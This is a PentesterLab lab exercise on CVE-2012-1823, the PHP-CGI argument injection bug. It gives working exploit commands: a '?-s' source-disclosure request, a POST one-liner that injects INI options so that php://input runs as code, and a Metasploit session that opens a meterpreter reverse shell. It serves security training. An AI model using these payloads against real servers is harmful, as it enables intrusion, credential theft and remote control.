CVE-2012-1823: PHP CGI

This exercise explains how you can exploit CVE-2012-1823 to retrieve the source code of an application and gain code execution.


This course details the exploitation of the PHP CGI bug (CVE-2012-1823).

This bug can be used by attackers to retrieve arbitrary code, and gain code execution on a server.

This is an example of what Pentesterlab's trainings looks like (in smaller and simpler ways), we hope you enjoy it.

Some details

This bug was initially discovered by Eindbazen during the Nullcon Capture The Flag event.

Eindbazen is a famous CTF team who participate in most CTFs.

The original advisory is available on their blog:

The following timeline of this bug (copied from the advisory's page) is worth reading since it's pretty funny and gives you a good idea on how much time vendors asked/needed to fix an issue:

  • 13/01/2012: Vulnerability discovered, used to compromise Nullcon Hackim 2012 scoreboard
  • 17/01/2012: Eindbazen contacts with a full report and a suggested patch
  • 01/02/2012: Eindbazen asks PHP to confirm receipt, state their intent to hand off the vulnerability to CERT if progress is not made
  • 01/02/2012: PHP forwards vulnerability report to PHP CGI maintainer
  • 23/02/2012: CERT acknowledges receipt of vulnerability and attempts to contact PHP.
  • 05/04/2012: Eindbazen asks CERT for a status update
  • 05/04/2012: CERT responds saying that PHP is still working on a fix
  • 20/04/2012: Eindbazen asks CERT to proceed with disclosure unless a patch is imminent
  • 26/04/2012: CERT prepares draft advisory.
  • 02/05/2012: CERT notifies Eindbazen that PHP is testing a patch and would like more time. Eindbazen agrees.
  • 03/05/2012: Someone posts a mirror of the internal PHP bug to reddit /r/netsec /r/opensource and /r/technology. It was apparently accidentally marked public.

As you can see, there are 4 months between the discovery of the vulnerability and its disclosure. Finally, "someone's" mistake forced Eindbazen do go public...

The bug

The bug is due to an error on how the URI is used and provided to PHP CGI when a URL lacks the = character (typically used to separate the parameters name and value).

Basically, the URI is passed to the php-cgi binary without enough filtering or encoding, allowing an attacker to pass an extra argument to the php-cgi command line.

Using this bug to retrieve source code

If you have access to the php-cgi binary, you can run it to see what options are accepted:

user@debian:~$ php-cgi -h
Usage: php [-q] [-h] [-s] [-v] [-i] [-f ]
       php  [args...]
  -a               Run interactively
  -b | Bind Path for external FASTCGI Server mode
  -C               Do not chdir to the script's directory
  -c | Look for php.ini file in this directory
  -n               No php.ini file will be used
  -d foo[=bar]     Define INI entry foo with value 'bar'
  -e               Generate extended information for debugger/profiler
  -f         Parse .  Implies `-q'
  -h               This help
  -i               PHP information
  -l               Syntax check only (lint)
  -m               Show compiled in modules
  -q               Quiet-mode.  Suppress HTTP Header output.
  -s               Display colour syntax highlighted source.
  -v               Version number
  -w               Display source with stripped comments and whitespace.
  -z         Load Zend extension .
  -T        Measure execution time of script repeated  times.

We can see that the -s option can be used to display the source code of the script.

We can use this behavior to retrieve the source code of the application by adding ?-s to the URL. This behavior can be really useful to:

  • Retrieve source code.
  • Retrieve database credentials.
  • Retrieve encryption keys or any password.

For example. access the page http://vulnerable/?-s" to see the code of the page directly output. If you read the source code of the page, you will see that all the HTML code has been encoded to be displayed in the browser.

Using the bug to get code execution

More than just allowing code disclosure, this vulnerability allows attackers to get code execution.

To get code execution, we need to send PHP code to the server and have it be interpreted. The exploitation is based on using php://input to embed the code in the body of the request.

As we have seen above, the -d option can be used to change PHP configuration by modifying the INI entries.

The exploitation on this exercise requires just two entries to be used (to keep things simple).

To exploit this bug, you want PHP to read PHP code from your HTTP request. To do that, you will need a PHP option that tells PHP to read from a file and points it to php://input.

Luckily, PHP has an option named auto_prepend_file, which since version 4.2.3:

"Specifies the name of a file that is automatically parsed before the main file. The file is included as if it was called with the require function, so include_path is used".

The good thing about this option is that the content of the file is included before any other file, i.e.: before any other code is run.

So you are sure that no other code will disrupt your exploitation attempt.

However, if we want to use php://input, we need to have allow_url_include enabled, which is often not the case. But since we can redefine the INI entries, we can easily turn it on using -d allow_url_include=1.


This exercise is an ideal and easy case to exploit since Suhosin and safe mode are disabled.

You can exploit CVE-2012-1823 using a proxy like Burp Suite, or any tool allowing you to send an HTTP POST request.

In this example, we are going to use lwp-request, a Perl based HTTP library.

Once installed lwp-request allows you to easily perform HTTP requests, using the command lwp-request or directly GET and POST.

echo "<?php system('uname -a');die(); ?>" | POST "http://vulnerable/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
You can use the -p option ( -p ) to tell POST to use an HTTP proxy. That way you can intercept/review/replay the request.

The call to the die() function is only used to get the result, and prevent any other code or output to be displayed.

You should now see the result of your command!

Using metasploit

Metasploit can be downloaded from their main website

Once you have decompressed the archive file, you can display the console using the command msfconsole.


Once you have metasploit installed, you can start it by running msfconsole:

$ msfconsole

After few seconds, the msf shell will appear:

msf >

Now select the exploit you want to use:

msf > use exploit/multi/http/php_cgi_arg_injection
You can use the TAB key to get completion on the path and exploit name

You should be able to select your "victim", the RHOST (remote host):

msf exploit(php_cgi_arg_injection) > set RHOST vulnerable

Since the application is running on port 80 (default value) and there is no vhost, you don't need to set the RPORT and VHOST options.

You can now select a PAYLOAD (the code that will actually be run).

For this, we are going to use metasploit meterpreter:

msf exploit(php_cgi_arg_injection) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp

From there, you just need to tell metasploit what IP address to use to connect back to you:

msf exploit(php_cgi_arg_injection) > set LHOST 

After a quick review of the options:

msf  exploit(php_cgi_arg_injection) > show options

Module options (exploit/multi/http/php_cgi_arg_injection):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        Use a proxy chain
   RHOST      vulnerable       yes       The target address
   RPORT      80               yes       The target port
   TARGETURI                   no        The URI to request 
   VHOST                       no        HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST           yes       The listen address
   LPORT  4444              yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Now we can run the exploit:

msf  exploit(php_cgi_arg_injection) > exploit

[*] Started reverse handler on :4444 
[*] Sending stage (38791 bytes) to 
[*] Meterpreter session 1 opened (:4444 -> :39055) at 2012-05-22 16:10:40 +1000

If everything goes well, you can play with meterpreter:

meterpreter > ls
meterpreter > ls

Listing: /var/www

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
100664/rw-rw-r--  2023    fil   2012-05-04 12:02:39 +1000  all.css
100664/rw-rw-r--  289881  fil   2012-05-04 12:02:41 +1000  all.js
100664/rw-rw-r--  42140   fil   2012-05-04 12:02:57 +1000  bootstrap-1.1.0.css
100664/rw-rw-r--  56399   fil   2012-05-04 12:02:39 +1000  bootstrap.css
100664/rw-rw-r--  1150    fil   2012-05-04 12:02:34 +1000  favicon.ico
100664/rw-rw-r--  2684    fil   2012-05-04 14:09:04 +1000  index.php
100664/rw-rw-r--  388     fil   2012-05-04 12:02:39 +1000  patch.css


Now that you have the exploit working, you can automate the exploitation by creating a metasploit script containing the following code (the list of commands from the previous section):

use exploit/multi/http/php_cgi_arg_injection
set RHOST vulnerable
set RPORT 80
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 

Once this code is saved as php-cgi.msf, you can easily run it:

$ msfconsole -r php-cgi.msf
[*] Processing metasploit-script for ERB directives.
resource (metasploit-script)> use exploit/multi/http/php_cgi_arg_injection
resource (metasploit-script)> set RHOST vulnerable
RHOST => vulnerable
resource (metasploit-script)> set RPORT 80
RPORT => 80
resource (metasploit-script)> set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
resource (metasploit-script)> set LHOST 
resource (metasploit-script)> exploit
[*] Started reverse handler on :4444 
[*] Sending stage (38791 bytes) to 
[*] Meterpreter session 1 opened (:4444 -> :38881) at 2012-05-22 15:32:29 +1000

meterpreter >

You can then play with metasploit, as seen previously.


This exercise showed you how to exploit the bug PHP-CGI (aka CVE-2012-1823).

I hope the course provides you with more details on how PentesterLab works.

This course is obviously way smaller than the paid training material we are providing.